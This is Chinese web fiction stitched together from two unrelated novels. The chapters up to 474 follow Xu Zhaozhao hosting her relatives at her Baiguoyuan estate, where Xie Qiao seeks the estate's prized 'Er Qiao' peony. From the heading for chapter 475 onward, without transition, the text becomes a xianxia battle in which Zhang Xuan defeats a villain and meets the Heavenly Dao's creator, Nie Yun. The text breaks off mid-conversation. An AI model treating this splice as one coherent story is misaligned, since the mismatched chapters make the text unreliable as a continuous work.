许昭昭知道要去百果园消暑,是小林氏自己的主意了。 老太太这般坚决,显然是真不打算去的。 “祖母,我在百果园那里弄了一道漂亮的花墙,祖母可想去瞧瞧?” “花墙?这又是什么新招数?” “祖母可还记得我锦绣园里的那一堵花影壁?” “哟,那当然记得,花开的五颜六色的,好看着呢!” “百果园那里则是直接有一堵墙那么长,漂亮!您想想,红的花,绿的叶,中间还有蝴蝶飞舞,是不是极美?” 老夫人被她说的真有几分心动。 一旁的小林氏继续劝:“母亲,昭昭都这样说了,那咱们就去瞧瞧?” 咱们? 许昭昭现在明白小林氏在打什么主意了。 但是她不动声色,继续道:“是呀,祖母。那里不仅有花墙,还有仙鹤呢。早上都是被鸟叫声唤醒,且舒服着呢。也就是父亲他们还得办差,不方便总是这样频繁进出城门,若不然,谢铮早就直接搬过去住了。” 这意思,其实就是只有女眷们过去。 这样其实也更方便。 小林氏的表情僵了一下,但是没说话。 许昭昭看在眼中,暗自琢磨着,莫不是还有其它事? “被你们说的这样好,天上有地上无的,我都心动了。” “那就去!我这就让人去安排。到时候祖母自己住一处院子,二婶婶可要同去?” “我就不去了,家里一摊子事儿呢!” 小林氏正要张嘴,许昭昭便转过头来笑道:“正是如此呢,想来四婶婶也是去不了的,毕竟还要照顾四叔他们。” 第474章 二乔之王 许昭昭一开口,直接就将小林氏的嘴给堵上了。 小林氏也不是吃素的,立马整理思绪:“是呀,按说我也得在家里照顾他们才是。只是家中有二嫂在,母亲身边也不能没人陪,我寻思着带着乔乔,正好陪母亲好好散散心呢。” 许昭昭这回听明白了,这是为了谢乔? 可谢乔已经定下婚事,百果园也没有什么勋贵公子,谢乔去百果园又有什么可图的? 难不成还图那里的花花草草? 许昭昭觉得不可能。 百果园的确是有专门供应一些府邸花草的花园子,但这不代表了谢乔会稀罕这些东西呀。 护国公府里,什么好东西没有? 许昭昭一时间弄不清小林氏的真实用意,但是这不重要,既然小林氏想要让谢乔过去,那就早晚会知道她们母女俩想要做什么。 实际上,许昭昭对谢乔的印象还不错。 虽然有时候会使小性子,而且也傲气了些,但是整体而言,算是一个比较善良的姑娘,没那么多的坏心思。 偶尔的小心思倒是无所谓,只要不触及底线,许昭昭还是愿意让一让这位小姑娘的。 谢乔有时可能会有些娇蛮,这倒是无可厚非,毕竟是国公府的嫡小姐,有几分傲气也是应该的。 只是之前她看不起谢婵和谢娟,这就让许昭昭不高兴了。 你谢乔就算是嫡出,也是隔房的,凭什么瞧不起国公爷的亲生女儿呢? 等到一切都准备妥当,小林氏和谢乔都跟着老太太一起去百果园小住了。 许昭昭只是对老夫人一人上心,所以安排的院子比较清静,也适合她休养。 至于小林氏和谢乔,自然是安排她们母女住在一处,但是环境一般,比不得在国公府的富丽堂皇。 当然,最好的住处,还是主院,自然是许昭昭来住。 就算是老夫人过来,也不能喧宾夺主。 如果许昭昭只是一个普通的孙媳妇,那都无所谓。 但许昭昭可是陛下亲封的安乐郡主,老夫人也不敢得罪她。 更何况,这里还住着一位小皇子呢。 人家一口一个姐姐的叫着许昭昭,所以谁还能分不清大小王? “姐姐,这是我今天练的字。” 许昭昭一张张仔细看,很快挑出其中两张。 “这一张的字,写得太潦草些,显得你有些急燥。而这一张,则是笔画松散,看得出你的懈怠之意。” 李光微窘,撅撅嘴道:“怎么什么也瞒不过姐姐?” “你就算是瞒过我又如何呢?日后你是要封王的,你手底下还会有很多的官吏,届时你能瞒得过他们吗?” 李光不说话了。 因为他知道姐姐说的都是事实,而且也的的确确是为他好。 “这两篇字,每篇再练五张,就在这里写,我看着你。” “是,姐姐。” 不知道什么时候,李光对许昭昭的态度既恭敬又亲昵。 而且对她的一些话是不自觉地就顺从起来。 当然,许昭昭也从未要求过他一些过分的言行,只是想让他学好课业而已。 对此,留在这里的夫子以及其它眼线,自然都一五一十地汇报到永安帝耳中。 永安帝得知许昭昭对李光十分疼爱的同时,又在学业上对其严格要求,不由得感叹,怎么自己就没有一个这么懂事又会带孩子的女儿呢。 便宜许翰那根老木头了! 说到底,应该还是王若兰教的好,要不然就凭许木头那脑子,不可能教出这么好的孩子来。 谢乔住进来两日,但一直没有机会见到小殿下,而百果园也并非是她可以随意走动的地方。 比如说豢养着仙鹤等一些动物的地方,谢乔就不能去。 还有一些培育珍贵品种的花草园,她也不能去。 这可急坏了谢乔。 她这次来百果园,就是想要弄一盆名贵牡丹,除此之外,还想着再从这里讨几坛上好佳酿。 可惜了,她连进去看看的资格都没有。 小林氏得知之后,自然是想要找许昭昭说说,可问题是许昭昭的住处守卫森严,便是她顶着一个长辈的名头,也不是说进就能进的。 在百果园,人家可不认你什么护国公府的规矩,只认主子。 这里是许昭昭的产业,所有人都只听许昭昭一个人的。 所以,小林氏有再多不满,也只能忍着。 “母亲,若是讨不到花,公主怪罪下来可如何是好?” “要不,咱们直接找许昭昭要呢?” 谢乔觉得可以:“对呀,可以直接问她要。反正她也是国公府的人,咱们交好公主,也是为了整个谢家,她是谢家一分子,出力也是应该的。” 这种理所当然,小林氏竟然也认为没毛病。 母女二人总算是在午膳前与许昭昭见上面了。 这两天许昭昭不是在照顾孩子,就是指点小殿下,而老夫人那里又不用去请安,所以小林氏和谢乔还是头一回见到她。 “昭昭,婶婶想求你件事呢。” “婶婶有话直说,咱们是一家人,不必如此客气。” 当着老夫人的面儿,许昭昭还是愿意给小林氏一份体面,只要不是太过分的要求,她都可以答应。 “是这样,听说咱们这里有牡丹中珍贵的品种:二乔,我呢,也不是为了自己求的,是有位贵人想要,你看?” 二乔是牡丹中的名贵品种,价格不菲。 最重要的是,现在这个时节,牡丹大部分已过了花期,唯有百果园中的几种珍贵牡丹还在盛开。 所以,这里的花自然也就更为昂贵。 “这有何难?那边园子里的花卉应该都是明码标价的,哪位贵人想要,直接遣人送钱来便可带走。何劳四婶婶再来说话?” 小林氏表情讪讪:“是这样,那位贵人想要的,可不是普通的二乔。听闻你这园子里有一株二乔之王,不仅同株、同枝可开紫红色和粉色两色花,同朵亦可开相嵌紫粉两色,且花朵盛丽。” 许昭昭的表情淡下来了。 “四婶婶说的那株牡丹,我也知晓,那可是百果园的花卉园中镇园之宝。那是千金不换的。” 许昭昭演都不愿意演了。 我疯了,要把镇园之宝拿去卖了? 第475章 到底为什么? 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 